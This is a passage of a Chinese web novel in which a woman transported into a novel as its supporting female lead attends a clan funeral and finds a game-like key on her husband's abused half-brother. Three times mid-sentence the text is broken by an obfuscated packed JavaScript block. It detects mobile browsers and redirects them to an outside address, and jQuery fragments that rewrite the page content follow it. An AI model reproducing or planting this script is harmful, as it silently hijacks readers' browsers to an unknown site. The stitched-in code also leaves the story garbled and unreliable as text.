《男主失恋了,对象不是我》
1. 我从不
往日一到夜里,龙崖主殿就会早早熄掉烛火,可最近一连几日,这里都彻夜烛火通明,让人不禁嘀咕是不是要有大事了。
随着一声丧钟响起,主殿外的重明鸟旗帜被换成了办丧事的灵幡,阵阵哭声传到外面。
“父君!”
“家主!”
众人才明白过来,龙崖秦氏的老家主没了。
一阵兵荒马乱后,白月歌熟练切换成悲伤模式,披麻戴孝跟丈夫秦东羽一同跪倒在老家主灵前。
“父君——”她捻起沾了阴阳草汁液的手帕往眼睛上擦,顿时就被刺激得泪水涟涟。
这也是没办法,哭不出来会OOC的。
果然她一哭,系统就发出了剧情完成的提示音。
大概是她演得太真,一旁的人都凑上来劝她节哀。
“东羽后面还有不少大事要办,你可不能哭坏了身体,让他分心——”
“他当上家主,外头多少人都在盯着,听说你那小叔又从藤桥洞偷跑了,他先前受宠,却没当上家主,说不定这几日会回来闹事。”
听了NPC各怀心思的话,白月歌虽然非常不爽,但还是遵照人设乖乖点头,将泪收了收,跪在灵前继续和丈夫一起扮演孝子孝媳。
这一跪,就跪到了第二天子时。
龙崖地势高,主殿又建在顶上,此处的寒风比别处更加刺骨。
白月歌跪在主殿的棺材旁,被冻得瑟瑟发抖,她看向正在火盆旁烧纸钱的丈夫,秦东羽。
纸钱被他丢进去,火苗噗噗簌簌地窜起。
看着就暖和。
最终,寒冷还是战胜了理智,白月歌没忍住说:“我来烧吧,夫君。”
秦东羽的动作一滞,看向了自己被余烬染黑的衣袍和手。
他明显在暗示这里会弄脏手脚,白月歌迟疑一瞬。
毕竟,她目前的人设是个爱端着架子,又有洁癖的世家女郎,会主动要去烧火,本身就是件让人感到怪异的事。
她对着手心哈了口气:“实在太冷了。”
秦东羽这才蹙着眉让开了位置。
白月歌如愿以偿地暖和了,她看着被火苗吞噬的金箔,在心里安慰自己,只要剧情走得下去,这点小事无所谓。
只要当好小说《高冷家主狠狠宠》的女配,推动剧情,然后安分地被炮灰掉,她就能获得回到原世界重生的系统奖励——穿书么,就那点事。
不过目前距离她下线大概还有三年,坚持坚持,也就过去了。
按照剧情,今晚,女配白月歌的小叔会来大闹灵堂。
小叔是本书的美强惨男配,名叫秦南徵,也是目前她的丈夫,男主秦东羽的弟弟。
好在这场戏她全程不需要参与,只要当安静的背景板就好,白月歌紧绷的身体放松起来。
人一放松一暖和,困意就渐渐来袭,正当白月歌栽头差点被火燎到头发时,身体猛然被人扶了一把。
“夫人?”
秦东羽揽住妻子的手腕青筋凸起。
虽说两人成亲三载,但聚少离多,两人的情分甚至比不上幼时。
一向稳重又端着架子的妻子,在这几日随时都会失态的样子,让秦东羽感到怪异。
但仔细想想又觉得很合理,毕竟这场丧事来得突然,就连已经事先布局的他,都差点被打了个措手不及。
见秦东羽没起疑,白月歌重新跪好,继续往火盆里添纸钱,可主殿外忽然传来了急促的脚步声,随后一声怒喝,把她吓得彻底醒了。
“秦南徵!你不能进去!”
“那是我爹!我要去给他守灵!”
“家主说了,你半路回归秦氏,身份不明,没资格进灵堂!他如今留你在龙崖,已是开恩!休要在灵堂扰乱先家主英灵!”
白月歌直起身子,就见一个和秦东羽有着七分像的俊逸少年,在主殿外同族卫纠缠在一起。
“你胡说!我不信,一定是有误会,我要见兄长!”
白月歌对秦南徵这美强惨男配黑化前的天真感到无奈。
你一个私生子,你爹偏心你,没少因为你冷落秦东羽,秦东羽以前是装大度,才跟你当手足,现在你爹死了,他成了家里的老大,他当然会拿你当衣服说扔就扔啊傻孩子!
灵堂上的族卫全乱了套。
“家主,都怪我等看管不力,才让他冲撞了老家主英灵。”
“赶出去。”
白月歌看到秦南徴在听到男主的话后,像是又被激起了不忿,手无寸铁的他,将那些拦着他的路人甲族卫挨个踹飞。
秦东羽一摆手,便有更多带着兵器的族卫冲了上去。
“不是这样的!兄长!”
倔强的少年像一头绝望的困兽,抢了族卫的兵器,一路打进了灵堂,却在要靠近棺材时,被秦东羽用重剑震退,族卫得了机会,立刻将他五花大绑。
少年没想到昔日和善的兄长会真的动手,万念俱灰之下竟忘了反抗,被一拥而上的人扒去上衣,用鞭子将脊背抽得血肉模糊。
白月歌是个在和平年代下成长的好孩子,见过最血腥的场面,就是菜市场的活鱼现杀。
只是余光不慎扫到一眼,她就别开了脸。
他固然可怜,但在白月歌心里,纸片人的命运悲喜跟重生相比,就显得无足轻重。
秦南徵全程咬紧牙关不出声,灵堂里,白月歌仅能听到鞭子破空击打在血肉上的脆响,和血流下的滴答声。
诧异于少年的坚韧,她没忍住偷偷看了一眼。
这一眼,把她吓得蹦出一句“卧槽”。
鞭子下,秦南徵周身环绕着密密麻麻的文字,内容都和这部小说有关,而且后腰的肌肤上赫然印了个Q版阿晋!底下还带着“绿江APP”的戳!
他该不会是那个带有钥匙的彩蛋NPC吧?
穿书的时候系统对她说过,拥有重生钥匙的彩蛋NPC,身上有很明显的穿书线索,而且这线索唯一,且只能被穿书人看到,只要触发了彩蛋,穿书人就能略过所有剧情,立即重生回到原世界!
难道,秦南徵这美强惨男二就是她重生回家的捷径?是个携带重生之门钥匙的彩蛋NPC?
不不不,万一所有NPC后腰都有这样的Q版阿晋戳,就像每只被检疫过的猪一样,身上印着紫药水戳……
可她明明记得,前几天走剧情,她替男主更换衣物的时候,貌似没在他身上看到同样的戳。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051195|162837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
被巨大惊喜砸懵了的白月歌突然浑身都是劲儿,
触发了钥匙NPC的彩蛋,就能立刻重生的诱惑,让她完全将恪守书中剧情的规则抛于脑后。
她三步并作两步,大喝一声,出手拦下了打向秦南徵的鞭子。
“夫人!你——”
“家主,这……”
白月歌对周遭NPC的哗然充耳未闻。
预想中系统的OOC警告也没出现。
让一切都让她更加笃定,秦南徵就是钥匙。
白月歌虔诚地将手按在少年后腰的Q版阿晋上,等待彩蛋触发,拿到重生之门的钥匙。
可手下之人的背上缓缓浮现出她曾留下的评论:
【绿江榜单全是美强惨人设,离了美强惨不会写文?口口的,迟早被AI取代!】
这就是彩蛋?白月歌又使劲摸了摸秦南徵的腰。
除了这条评论,想象中系统提示她已经触发彩蛋,即将获取重生钥匙的一幕没有发生——
难道不是触发彩蛋后,就会触发钥匙么!游戏里不都是这样!绿江的系统落后成这样子,怎么还有空在触发细节上,加这么多复杂设定——还是说,彩蛋不唯一?
正当她快被各路NPC盯出个洞时,系统才姗姗来迟:
【检测到宿主触发了钥匙NPC身上的彩蛋,自动为宿主增加第二条主线任务设定:‘彩蛋宝宝要回家’。
此任务与‘女配决不OOC’任务不冲突。
彩蛋诸多,内容丰富,请宿主主动触发。
PS:如消极应对,将造成本世界重开。】
白月歌听完系统的发布内容,后悔的心愈发强烈,眼眶中的泪都显得真了几分。
少年不解地望向平日看他不顺眼的长嫂,随后就被痛得晕了过去。
行刑人被迫停下,为难地看向一言不发的家主秦东羽。
好在夜深,灵堂外守灵的秦氏族人很少,且都是些年轻子侄,此时都默默屏住呼吸,想看,却又不敢抬头。
事情发展到这个地步,显然超出了秦东羽的意料。
他向白月歌伸出的手,带着不容拒绝的意味:“月歌。”
白月歌被那晦暗不明眼神看得更加紧张,她恋恋不舍收回还放在秦南徴腰上的手,忍着尴尬回到棺材旁。
本以为肝剧情拿到重生奖励固然是条出路,但一夜暴富靠彩蛋钥匙立即重生着实诱人!
贪心害她不浅——果然就不该相信非酋黑到极致会变红的传言。
正在她考虑该如何把秦南徵弄到自己的药堂里研究一下彩蛋时,秦东羽就打破了她像是逃避一般的沉默。
“平日没见过你这样紧张他。”
“他那样子有些怪……像是受了妖兽侵染发疯的人……我看错了,”白月歌将手递给他,尽力为刚才的OOC找补,“只是担心他死在这里——影响你的声誉。”
秦东羽没作声,像是信了她的说辞。
“让他躺在这,实在难看,明日还有其他世家的人来吊唁,”白月歌摆出一副忧心忡忡的样子,“别气昏了头,让他们看笑话。”
见秦东羽绷着的面孔略有松动,白月歌摆手让侍从将秦南徵送到自己的药堂。
2. 女要俏一身孝
白天来龙崖主殿吊唁的人来了又走,一直到夜幕低垂,秦东羽仍不自觉地分神关注着举止异常的妻子。
成婚两载,他鲜少归家,却常收到妻子问归期的书信。
她不是在信中写道"盼君归来共赏初雪"么?不是说要为他用灵印净化这两年妖兽侵染的暗伤么?
可为何当真归来时,她总对着远方出神,目光游离难测。
今日偶然立于她身后,才发现妻子凝望的竟是药堂方向。
想到药堂里那人,秦东羽心头泛起异样。
但这份疑虑未能持续太久。
身为秦氏少主,他要权衡的实在太多——如何让父亲留下的旧部真心臣服,那些自称先父至交的叔伯里,究竟几人存着真心......
桩桩件件,皆不容有失。而忙于周旋这些的秦东羽,让白月歌有了更大的行动自由。
守灵第五日的间隙,白月歌避开众人来到药堂。榻上趴着的秦南徵气息奄奄,脊背涂满青黑色药膏,七星宝香丸在鎏金香炉中袅袅生烟。这是幽崤白氏秘药,用来镇痛安神最是有效。
白月歌打量起这有可能是携带重生钥匙的NPC。
虽然《高冷家主狠狠宠》的逻辑烂得像屎,但好在作者也知道笔下人物的颜值不能差。
秦南徵在现实里琼鼻朱唇,婉转飞扬的眼部线条比女子还精致,单这么看的确面若好女,可额间一双剑眉又让他英气勃勃,一刚一柔的碰撞,让他比男主多了一种别样的韵味。
赏味期的男配还真是个满分弟弟。
白月歌伸手挑起搭在他腰间的衾被,去触碰阿晋图案。
碧色微光随她描摹流转,恍若皮下搏动的血管,随少年的呼吸上下起伏。
少年喉间溢出无意识的呻-吟。
曾经在小说里留下的评论竟然又浮现在秦南徵脊背。
【哇南徵宝宝被摸一下就娇-喘!人心黄黄~】
图案上的绿光像火苗似的窜起又熄灭。
上次也是这样,她一接触到图案,秦南徵身上就出现了她曾经留下的评论……
难道说解锁钥匙,得把所有评论都摸出来?
想到当初在评论区与人对喷的盛况......白月歌心里一颤。
她试着去触碰秦南徵的腰,却再没出现新的评论。
所以解锁彩蛋评论,也是要冷却时间的吧。
如果她按时来触发,直到解锁所有评论……
白月歌看向秦南徵身体的神情带着痴迷。
如果这时旁边有外人,这人肯定会怀疑白月歌对秦南徵有私情。
但刚进门,给白月歌送药的随侍白荣,并不认为自家女郎的视线这有何不妥。
毕竟他家女郎出身精通黄岐之术的幽崤白氏,女郎身为医者,不避伦理,认真观察伤患,是很值得称赞的。
白荣也盯着秦南徵鞭伤累累的脊背,但他只看得出使鞭子的人用得是秦氏灵印的力量,伤口不好愈合,治起来虽棘手,但对女郎来说不算什么难事。
女郎看得如此认真,应是琢磨出了他看不出的门道。
白荣遂看得更加投入,却忽听女郎唤自己。
“白荣,”白月歌有些担心自己的行为会引起NPC的怀疑,便指着秦南徵的身体问,“你看看这里有什么。”
白荣本就小得可怜的眼睛,眯成了一条缝,他不好意思让白月歌知道自己只看到了鞭伤。
“您的意思是不要让小郎君的鞭伤留疤?这不好办吧……”
白月歌佯装失望地叹气,倒真把白荣给唬住了,她又挥手让另一个随侍白厢过来。
在书里,白厢比起白荣,肚子里没那么多弯弯绕绕。
白月歌又换了种问法:“小郎君腰上的伤,你看出些什么门道没?”
白厢为难:“我只看得出这是火属性灵印造成的伤……”
说完她似乎感觉到自己再说废话,毕竟秦南徵被谁打这事,谁不知道呢?
“女郎恕我眼拙,我还需多历练几年——”白厢又拘谨地接了一句。
白月歌的指尖在秦南徵后腰的阿晋图案上按了又按,手还恋恋不舍地放在身下之人的肌肤上摩挲,想要再试试。
白荣和白厢见女郎神情中带着落寞,不像是要继续和他们交谈的样子,相视一眼就都退了出去。
白月歌继续研究,而触发了彩蛋的系统提示此时才出现。
【今日彩蛋触发[1/1]已完成,请宿主再接再厉。】
“……”
离触发都过去多大会儿了,绿江的系统就不能靠点谱?
*
女要俏,一身孝。
身为本文戏最多的女配白月歌本就美丽,披麻戴孝在药堂轻抚秦南徵伤口的她,在晨光中美得带了几分神性。
秦南徵在疼痛中醒来时,看到的就是这样一副画面。
如果不是吃过她的亏,秦南徵此刻一定会相信一身素缟的柔弱长嫂是个大好人。
可经历了在藤桥洞的驱逐、和在龙崖的软禁毒打,受尽屈辱迫害的他对周围一切都充满防备,像个浑身带刺的刺猬。
“滚开!”
“假好心!”
少年对她的嫌恶也在白月歌意料之中,她抬眼看去,却让少年从她的眸子里,看到了自己衣衫被尽数褪去的窘状。
秦南徵在难堪之际又感到一丝愤怒,他从床上窜起,夺门而出,像是有藤桥洞的妖兽追在身后。
明明是OOC的剧情,她却没收到系统发出警告。
是钥匙没错,但暂时没办法触发。
白月歌的心和药房里的药味一样苦涩。
所以在没能成功触发钥匙前,以防万一,她还要继续在明面上走剧情被炮灰,这是达成重生最简单的方法。
触发接近钥匙NPC,就只能放在暗地里来进行。
多一条路总比没有好。
白月歌想到这,氤氲在鼻尖的药味也少了些苦涩,她伸了个懒腰,正被从外面回来的白荣和白厢看到。
白月歌看他们似乎有话要说,就又端着,稳稳坐了回去。
“南徵郎君对您的救助非但不领情,还骂您假好心,真让人寒心——”白荣背着手,“女郎,藤桥洞的妖兽伤了不少子弟,南徵郎君看不上您给他备下的疗伤药,要不就拿去给他们用?幽崤送来的药还没到,现在这些正用得上。”
“留下一半吧,”白月歌想到自己还得暗中接近秦南徴,“我还有用处,剩下的你就给那些子弟送去,悄悄的,别让外城受伤回来换值的人看见,心生埋怨。”
她摆摆手,让白荣看着去办。
说起这些药,她有些
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051196|162837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
感慨,绿江系统的BUG真够多的。
她穿书后,没有被强制和女配共情。系统曾警告她不要抗拒共情,因为这是穿书人走剧情不OOC的一大助力。
可她穿成白月歌以后,完全没感受到原身的爱恨情仇,反而很顺利地继承到了女配所有的技能点!
比如她一进药房,就想拿起玉杵药碾子,搞点新药方,甚至对这刚灵气复苏世界里的药石、各类被净化驯服的妖兽如数家珍。
再比如前些天,她刚一穿书就被投放到了“老家主病重”这一段时。
她两眼一抓瞎,根本不知道作为一个NPC该干什么,却在一靠近龙崖秦氏的祠堂,脑子里瞬间就对处理老家主葬礼这事儿有了清晰的思路。
之后更是把所有事都处理的井井有条,根本没有令NPC产生“她好像换了个人”这样的感受。
可以说女配白月歌,是个技术过硬的老中医,兼世家大族培养出的管理型人才。
白月歌理了理她趁热乎还没忘的剧情,才恍然大悟,可能不是系统忘了共情。
这垃圾小说,女配的行为根本没有底层情绪和逻辑的来支撑,也就是说,作者让她干啥,她就干啥,人设精分,只起到一个推动剧情的作用。
所以作为男主原配妻子的她,就是个纯种工具人……
她不需要继承女配在情感上的所有记忆,只需要继承她所有的技能点,按部就班走剧情,就能完成这个世界的自转。
摸清了自己的作用,穿书后的白月歌也就躺平了,接下来的日子里,她众目睽睽之下只做两件事:
做好家主夫人,打理千百号人的大家业,抚恤抵御妖兽受伤的族卫联兵,为男主省下时间去跟女主谈恋爱。
钻研医术和净化御兽之道。
前者能让她的人设不崩,而后者能保证她能在以后要用御兽术和医术的关键剧情上,不出问题,顺利踩中书中剧情。
就这么又过了五天,剧情终于到了老家主出殡这一节。
龙崖这天却下起了大雪,白花花的雪片同送葬人抛洒的纸钱落在地上,又被人踩进泥里,脏得瞧不出原样。
秦东羽作为逝者的传人,在族中叔伯的示意下,重重掷下起灵杯,杯中火液一接触到地上的纸钱,就迅速串联着燃起地上所有带着往生符咒的纸钱,如一条火龙,将逝者的遗体圈在其中,只一瞬息,老家主的身体就消失不见。
周围的哭声渐起。
白月歌捻起帕子又朝眼睛上擦。为了扮演一个合格的女配,她在手帕上涂了不少阴阳草的汁液,这汁液能刺激人泪流不止,皮肤接触到以后还会泛红,最适合用在哭不出来的时候。
秦东羽一撇眼看去,便是妻子泪眼朦胧,脸颊红肿的样子。
妻子往常清澈的眼眸里泛着血丝,里面蓄着大颗的泪,泪滴如珍珠断线似的一颗颗掉落,美得能和海上的鲛妖一比。
而她从来都莹润平滑的脸颊,因泪沁湿又擦了多次,在寒风里皴得起皮红肿,这种真实的窘态,让他感到陌生。
成亲前,白月歌也曾随四世家的联兵在城墙外围猎杀妖兽,那时两人在一处的时间,甚至比成亲后这两年还多,在他印象里,白月歌明明是个不论何时,都力求行为举止赏心悦目的人。
所以成婚后,他不在的这两年里,究竟发生了什么?
3. 那你早说啊
秦东羽后知后觉地想起,妻子的父亲也已去世,她一定也经历过火液烧棺,同父亲阴阳两隔的悲痛。
此时的妻子似乎感受到了他时时跟随的目光。
秦东羽看到她匆忙用帕子抹去眼泪,像是在掩饰着什么。
一瞬间,她掩面悲泣的模样,和记忆里母亲同样的动作重叠起来。
当年父亲领着秦南徵这私生子回来时,母亲也是这样,在自己面前用手帕掩饰泪水,不让他看见。
人的情绪会感染周围的人,就像妖兽的瘴气。
而母亲选择将被背叛带来的痛苦,通通都压抑在自己身上。
他从白月歌的掩饰中,仿佛读出了些许相同的意味。
对于这个层层华服包裹着,如偶人一般循规蹈矩的妻子,他忽然就有些看不真切了。
骤然,钟声响起。
入祠开始了。
父亲的牌位被放到了早已在宗祠预留好的位置,同秦东羽已逝的母亲并排立着。
牌位后的位置如今空着,作为后辈的他,在百年之后就会来填满这块地方——而那半路被带回来的人,不配留在这里。
秦东羽认为自己没在父亲死后立刻动手,就已经是对他最大的宽容。
天幕骤然被一道蜿蜒的闪电划过,须臾之后,如江潮般密集的雷声自天际滚滚而至。
雪天惊雷。
异样的天象令人不安,不少人都面露仓惶地望向了天。
白月歌潜意识里对雪天惊雷似乎有些印象,但却始终想不起来与之对应的剧情。
只隐约记得,书中曾出现过。
可眼下时间线早在男女主相遇之前。
原书对这段时间的着墨极少,想来也不会有什么重要线索。
白月歌索性放下了自己的担心,不再去想异常天象对剧情走势的影响。
她此时同等在宗祠之外的众人一样,肩头早已被雪落白。
白月歌捏着三根香柱的手已经已经没了知觉。
她悄悄催动掌心的灵印,来一点点溶解被冻麻木了的四肢。
随着又一声响彻龙崖的钟鸣,她机械地跟随秦东羽上前,跪在已经让雪水打湿的蒲团。
磕下额头刚一接触地面,就被一股寒意侵入,那是一种无论如何也驱散不了的透骨湿寒。
今天风雪交加,香火已被雪水浇灭了两次,她上的第一次香才燃了一半。
可据她所知,冗长的入祠才刚开始,现在是清晨,他们要在宗祠外,上三次香,等香燃尽,直至晌午,入祠才会结束。
而她掌心这木属性的忍冬印灵已经被她用得奄奄一息了。
入祠肃穆,跪拜之人要守规矩,此时她眼睛又被睫毛上的雪片糊住了视线,看不清前方那香是不是又灭了。
捱到了第二次上香时,宗祠外的人都被冻透了。
龙崖的山风呼嚎着,白月歌恍惚里又听到了熟悉的喧闹。
“秦南徵!你不能进去!”
她只觉得这是自己被冻狠了出现的幻听,可紧接着,她又听到了更嘈杂的声音。
“上次你大闹灵堂,家主看在老家主尸骨未寒,只略施小惩,还发善心要等你伤好再送去藤桥洞历练,你不知感恩,竟在入祠的时候又来闹!”
“秦氏再留你,要留出大罪啊!”
白月歌趁人们都将视线放在外头的热闹上,偷偷将糊在睫毛上的雪抹掉,融化在皮肤上的雪水将她眼角蜇得剧痛。
迷蒙里,她望见秦南徵从宗祠的屋檐上一跃而下,动作干净利落,一点不像是前几天在灵堂被打成重伤的人。
谁知少年正落在了她跟前,带起的脏泥水溅在了她孝衣前襟。
她反射性向后退了几步,脚下一滑,正撞在了身后秦东羽的怀里,这才没滑倒。
秦东羽拦在少年面前,颈侧的火属性灵印已然亮起,重明鸟印灵摆出了蓄势待发的姿态。
“她出手拦鞭子,你就是这样报答她的?”
“你不动手,她可没机会当好人!”少年轻嗤一声。
显然,少年已经看清了秦东羽的真面目。
知道这位兄长对自己没有一点手足之情,顺带着也恨上了她这个麻木不仁的长嫂。
白月歌听到少年的话,冻麻了的唇角不受控制地微微翘起——
看来她先前的拦下鞭子的行为,并没有让剧情出现裂痕。
讨厌她的人依旧讨厌。
而少年的视线正越过了她身前的秦东羽,捕捉到了白月歌唇角怪异的笑。
少年轻嗤一声,略带嘲讽地撇了撇嘴,转身将手中的香柱点燃,要给在老家主入祠前,也上一柱香。
但宗祠里的人不会任他闹下去。
很快,少年手中的香就被人夺去,人被族卫团团围住。
在宗祠里观看入祠仪式的族中叔伯相继从人群中走出。
论排行,一位行二的堂伯顺着秦东羽的意思发话:“老家主仁善,将你带回来好生培养,他走后你哥哥也不曾亏待你,可这逝者入祠,以你的身份,不该来上香!”
“他重病时,你们瞒着,把我派去藤桥洞,在他火液烧棺的时候软禁我,现在连入祠上香也不许我来!”
“凭什么!他是我爹!”秦南徵同样在左颈侧的重明鸟伴生印,被火属性的灵印燃起,暴涨的力量传递到双臂,差点就挣脱了众人掌控。
“不再是了,”秦东羽居高临下,看着发狂要挣脱众人钳制的弟弟,“哪怕魂印是重明鸟,也不能证明你是秦氏血脉。”
秦南徴恍然懂了,不论他的血脉是真是假,兄长都要将他踩在泥里狠狠羞辱。
白月歌看到少年的眼睛里燃起了熊熊恨意,可在父亲逝去后,身份尴尬羽翼未丰的他,已经没了任何翻身的可能——因为他只是个美强惨的男配。
在场那位德高望重的二堂伯挥了挥手:“都愣着干什么,将他轰出去,不要让他污了祠堂!”
倔强的少年感受不到任何善意,嘶吼挣扎着要上前,可一个人抵不过七八个秦氏族卫,何况他背上的鞭伤还未愈合,在扭打间伤口又撕裂开,血迹从薄衫殷出,混着融化的血洒落在地,同白茫茫的雪混在一起。
整个过程,秦东羽的袍角都未沾染上一丝血迹,他无需发话,便会有家臣来替他代劳。
有了秦东羽的默许,族卫就不仅是制服秦南徵,有灵印的便都动用了伴生的印灵。
人一旦打红了眼,就不会顾虑这是什么场合,有几次那些族卫的攻击都险些弄翻宗祠两侧摆下的灵台,而秦南徵次次都顶上前去,让老家主入祠所用的灵台又稳稳落下。
而秦南徵这样顾头又顾尾的打法,让那些族卫发现了他的破绽,次次诱导着他朝着老家主灵台的方向攻击,秦南徵只能一再避让。
加之少年先前的伤并没好全。
渐渐的,他就落了下风,甚至被刀剑刺中了身体。
刀尖上的鲜血撒在雪地中,撒在老家主的牌位前,显得尤为讽刺。
族中二堂伯的斥责还在继续:“妖兽纵横肆虐,世情险恶,家主能容你留在秦氏,不用在外头担惊受怕被妖兽虐杀,是念你年纪尚小。”
“立刻跪下谢罪,今后不再以老家主幼子的身份自居,秦氏便饶恕你。”
白月歌所受的教育此时让她难以接受眼前的施虐,但小说就是小说,至少她并不能在明里作出明显违背人设的行为。
她又一次别开脸不去看这场闹剧,但好奇心又让她忍不住望向中庭。
而她这瞬间的恍惚和纠结,正巧被少年捕捉,白月歌抬眸去看时,便在又他眼中看到了熟悉的讥讽。
和那天他骂自己假好心时如出一辙。
白月歌却不
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15051197|162837||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
敢再像上次灵堂上拦鞭子那样冒冒然出手救他。9066
她默默背过身,点燃了第二簇被雪浇灭的香柱,末了又提醒同样关注着中庭闹剧,忘了正事的秦东羽。
“香灭了。”
秦东羽回神,同她一起点香,可燃了三四次,香才复燃。
而两人身后打斗的动静却突然停了。
白月歌先他一步转身去瞧,只见茫茫雪地中,血如红梅落下,挥洒了一地。
那个说什么也不肯认罚的倔强少年竟倒下了。
他躺在中庭的雪地上一动不动。
族卫似是觉得自己的任务已经完成,又退回到了本该把守的地方。
秦东羽不发话,那些族老也未出声,入祠继续进行。
没人去管宗祠里是不是还躺着个生死未知的少年,雪渐渐将他的身体覆盖住。
如果不是少年口鼻处的雪化掉了,有那么一瞬间,她以为人死了。
冗长的入祠终于结束,这中间白月歌哪怕再冷,都没再催动灵印。
以往总会时不时冒出来警告她已经OOC的系统一直很安静。
似乎这两次秦南徴一出场,系统就会自动关闭OOC提示——但也仅有这两次来佐证,她不敢用重生来赌这个发现的对错。
钟声响起,白月歌看着秦氏的族人鱼贯着离开。
秦南徴还躺在中庭,她心里有打算,就留在这里等人走完。
可族中的四堂叔似乎在跟她作对,还有秦东羽。这两人迟迟不走,白月歌仗着自己的身份,也耗在这里,看这两人到底要干些什么。
“你不该在这里动手。”四堂叔背着手从灵台后走出来,“他方才有意躲开灵台,都被人看在了眼里,难保不会有人可怜他。”
秦东羽将身上的孝衣扯下,颈侧的重明鸟印灵火光闪过,孝衣就被烧成了灰,露出底下那身标志着家主地位的酱紫色深衣。
明明年纪轻轻,穿着却同四堂叔这年龄的中年人不相上下。
“我倒想知道谁会出来替他求情,”他的话是冲着四堂叔说的,可目光却停留在了白月歌身上,“总归不是叔叔你。”
上次当众拦下鞭子的人是她。
许久没出现的系统突然发来警告。
【请宿主修正!修正!】
白月歌感觉事情有些不妙,她瞥了一眼雪地里的秦南徴。
明明在场。
为什么还会有提示?
她回神立刻装作一副嫌恶的样子:“死在哪里,也不能死在宗祠——像什么样子。”
事实上她知道男配还有很长一段剧情,不会死在宗祠,但她需要一个合情的理由来修正人设。
四堂叔的视线从她身上扫过,好像又有了什么处置的主意。
“不如趁此将他送到藤桥洞,神不知鬼不觉的杀了,以绝后患。”
秦东羽将身上的落雪一一拂去,并不同意,反倒因为白月歌方才的话又多看了她一眼。
随后让人将秦南徵软禁在了泽鹿苑,带走秦南徴的,还是白月歌的那两名随侍。
四堂叔显然对这样的决定并十分不满。
白月歌只感觉到四堂叔要让杀秦南徵而后快的心,比秦东羽更甚。
但秦东羽没直接杀掉秦南徵,不代表他还有恻隐之心,他不过是想要长久的折磨这个弟弟。
想要将被父亲金尊玉贵养大的弟弟踩在泥里,看他做尽无谓的挣扎。
在男主心里,秦南徵是母亲被父亲背叛的证据、是他不被父亲重视的证据。
白月歌听到四堂叔长叹了一口气,随后便见他拂袖离开了宗祠。
白月歌按照温柔贤妻的人设,陪着秦东羽在屋檐下站了许久,湿冷的寒气从裙裾之下向上蔓延,她强忍着没催动灵印来驱寒。
本就快要用尽的灵印,不能浪费在这里。
4. 白氏的家主
寒气逼得白月歌咳嗽起来,她揪紧了领口。
身前穿着十分老气横秋的男人闻声,偏过脑袋睃了她一眼:“你灵印耗尽了?”
反问的语气和眼神在白月歌看来像是万分不耐。
她点了点头,努力让自己看起来温柔,学着书里女配对男主说话的方式道:“今日身体不适,让夫君担心了。”
“知道身体不适,你就该跟他们一起先回去——”秦东羽的眉头又微蹙。
白月歌已经数不清这是第几次,他冲自己露出这种毫不掩饰地不耐。
“想着留下来或许能帮上夫君。”
“没什么你能做的。”秦东羽的语调一如此刻的寒风。
所以女配为什么对男主死心塌地?白月歌不明白。
而这几天的憋屈,却让她恍然想通了另外一点。
自己只是个女配,定位剧情走向也是这夫妻俩相看两生厌。
所以她在维持夫妻关系上,似乎也不需要太过努力,只要把握好不会OOC,在和他的相处上没必要太过做低伏小,过分讨好。
或许这样不称职的妻子,会让他更快厌烦。
总归结果都是被男主厌弃,这也算是符合故事主线。
白月歌看了一眼秦东羽深衣的颜色,一瞬间幻视了牵着邪恶摇粒绒去早市买菜的嬢嬢们,相同之处在于他们都会穿着酱紫色的外套……
这种颜色上身的确显人老。
她大概能理解秦东羽为什么偏好选择穿与年龄不符的颜色了——死装。
毕竟深重的颜色更显庄重,能令人认为他的年龄大,资历深,能配得上家主之位。
白月歌觉得秦东羽在这些谋取权力的事情上,花得心思还挺多……
“那你早说啊,”她装作没听懂秦东羽的话,夸张地瞪大眼睛,“我还有不少事情要忙呢。”
大概是她这话的阴阳怪气隐藏得太深,系统没把这判定成OOC行为。
不知道听了这话的秦东羽有没有吃瘪,但白月歌的心里舒坦了很多。
她没管秦东羽什么脸色,甩了袖子就往外走。
可还未迈出门槛,手就被秦东羽从身后捉住。
那人没怎么用力,就将她拽进了自己充满热意的怀中。
白月歌一时还未挣脱,便被秦东羽绕至身前。
猛一抬眼,她就看到这人颈侧的重名鸟印灵亮起了金色的光华。
似乎是瞟了一眼她左手上的锁灵戒,秦东羽牵起她冰凉的手,就贴在了自己的灵印上。
白月歌惊吓之中,反射性地要将手抽回去,却听到这人不耐地声音:
“逞强什么?”
白月歌:?
“这里没人。”
他被自己阴阳怪气了,怎么还上赶着贴过来?
不是说他一直跟老婆没感情吗!
*
白月歌回到龙崖的霖辉堂,硬着头皮按照记忆处理秦氏这一大氏族里的鸡零狗碎。
